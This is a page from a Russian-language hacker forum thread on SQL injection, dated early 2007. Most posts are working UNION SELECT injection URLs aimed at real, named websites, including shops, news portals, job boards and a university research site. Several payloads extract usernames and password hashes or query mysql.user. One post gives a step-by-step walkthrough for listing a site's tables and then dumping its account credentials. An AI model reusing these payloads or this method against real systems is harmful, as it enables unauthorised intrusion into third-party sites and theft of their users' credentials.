SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    там есть таблица user, но из неё не извлекается. Второй подобный сайт уже вижу =(
     
  2. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    __http://www.shopcom.ru/shop.php?param=comment&a=1&id_shop=-1+union+select+1,2,3,name,mail,password,7,8,9,10,11+from+shop/*
     
    #602 Grey, 27 Feb 2007
    Last edited: 27 Feb 2007
    1 person likes this.
  3. злюка

    злюка Elder - Старейшина

    Joined:
    11 Nov 2005
    Messages:
    337
    Likes Received:
    132
    Reputations:
    69
    таблица есть, но она просто пустаю...возможно есть какая то другая...у меня такое было...user пустая, зато siteuser с пользователями.
     
  4. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    2Spyder
    SELECT count(*) from users
     
  5. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://gamemag.ru/?act=showart&id=-947+union+select+1,concat(login,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users/*

    http://www.rba.ru/news/vid_news.php?id=-323+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from+mysql.user/*

    http://www.trubka.net/showsoft.php?id=-1112+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*

    http://nextaz.com/showsoft.php?id=-5062+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*

    http://www.neftegaz.ru/kadr/viewvac.php?id=-21497+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users/*

    http://www.mnl.ru/viewvac.php?id_vakansiya=-27770+union+select+1,VERSION(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/*

    http://www.joblive.ru/viewvac.php?id=-51229203+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*

    http://www.elit-dom.com/podrobnee.php?id=-103+union+select+1,2,3,4,5,6,7,8,9,10/*

    http://www.iriscom.ru/index.php?page_id=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*

    http://www.sdbireras.ru/product_detail.php?id=30&tip=-1+union+select+1,2,3,4,5,6,7,8,9,10+from+mysql.user/*

    http://www.cz-usa.com/product_detail.php?id=-28+union+select+1,2,3,4,5,6/*

    http://www.internaltool.com/products/product_detail.php?series=-81+union+select+1,2/*

    http://www.infoelekt.com/public/product_detail.php?id=-1262+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36/*

    http://sportsoptics.pl/product_detail.php?group=scopes&id=-473+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38/*
     
    2 people like this.
  6. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    2 злюка
    таблица не пустая. Когда пробуешь извлечь что либо оттуда появляется ошибка. Если бы она была пустая, то просто ничего не выводилось бы =)
    http://research.udmercy.edu/ids/technoclass.php?id=-6+union+select+1,2,column_name,4,5,6+from+INFORMATION_SCHEMA.COLUMNS+where+table_name='user'
    2 [ cash ]
    не вкурил немного =) появляется ошибкаю или может я что то не так делаю?
     
  7. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    1) смотрим таблицы
    Code:
    http://research.udmercy.edu/ids/technoclass.php?id=-6%20UNION%20SELECT%201,table_name,3,4,5,6+from+INFORMATION_SCHEMA.TABLES/*
    2)Смотрим кол-во в нужных таблицах.
    Code:
    http://research.udmercy.edu/ids/technoclass.php?id=-6%20UNION%20SELECT%201,count(*),3,4,5,6+from+enroll_accounts/*
    Code:
    http://research.udmercy.edu/ids/technoclass.php?id=-6%20UNION%20SELECT%201,count(*),3,4,5,6+from+accounts/*
    Code:
    http://research.udmercy.edu/ids/technoclass.php?id=-6%20UNION%20SELECT%201,count(*),3,4,5,6+from+user/*
    3)Выводим данные.
    Code:
    http://research.udmercy.edu/ids/technoclass.php?id=-6%20UNION%20SELECT%201,concat(username,char(58),password),3,4,5,6+from+accounts/*
    что тебя заинтересует я не знаю дальшейших методов взлома много дальше разбирайся сам.

    in sql i trust )))
     
    3 people like this.
  8. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Дык я это знаю, не совсем уж ламер =) Просто count(*) from users выводит ошибку, а должна выводится по идее пустая страница
     
  9. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    =\
     
  10. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    __http://baby.com.ua/hit/school/obj_view_otziv.php3?p=view&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*
     
  11. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    надо внести свой вклад :)
    http://www.a1tv.ru/AOpenBands.php?Band=-1+union+select+1,2,version(),4,user()/*
     
  12. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    байан нитрокс :p
     
  13. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    "за что ни возьмешься"... я ее сам нашел, честно :)
    ладно, будем копать дальше.. странно, я сёарчем не нашел этот урл(
    sorry 4 offtop =\
     
    1 person likes this.
  14. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    __http://obec.org.ru/author.php?sort=CommentsThread&sort_type=ASC&pos=0&Id=-1+union+select+1,user(),3,4,5,6,7,8/*
     
    1 person likes this.
  15. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    юзай limit,char и будет тебе счастье ;)
     
    #615 }{0TT@БЬ)Ч, 27 Feb 2007
    Last edited: 27 Feb 2007
    1 person likes this.
  16. kamaz

    kamaz Elder - Старейшина

    Joined:
    31 Jan 2007
    Messages:
    151
    Likes Received:
    275
    Reputations:
    280
    И вот этот сайт меня зарадовал:
     
    1 person likes this.
  17. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    2 _Pantera_
    не правда. иногда используя INFORMATION_SCHEMA выводится только одна таблица и тогда надо использовать LIMIT
    Но здесь почему то не работает
     
    1 person likes this.
  18. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    Code:
    http://www.solyaris.ru/rinok_hi-fi/statyi_testi_obzory/?part=1+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15+from+INFORMATION_SCHEMA.TABLES+limit+1,666/*
    
    и там по страничкам полистаешь, ог? ;)
     
    2 people like this.
  19. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    Code:
    http://www.podmoskowie.ru/index.php?c_id=3&o_id=9999+union+select+1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20/*
    http://www.podmoskowie.ru/index.php?c_id=3&o_id=9999+union+select+1,2,3,4,5,6,7,8,9,10,concat(login,0x3a,pwd),12,13,14,15,16,17,18,19,20+from+lnkxchange_admins/*
     
    #619 n1†R0x, 28 Feb 2007
    Last edited: 28 Feb 2007
  20. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    =)
     
Thread Status:
Not open for further replies.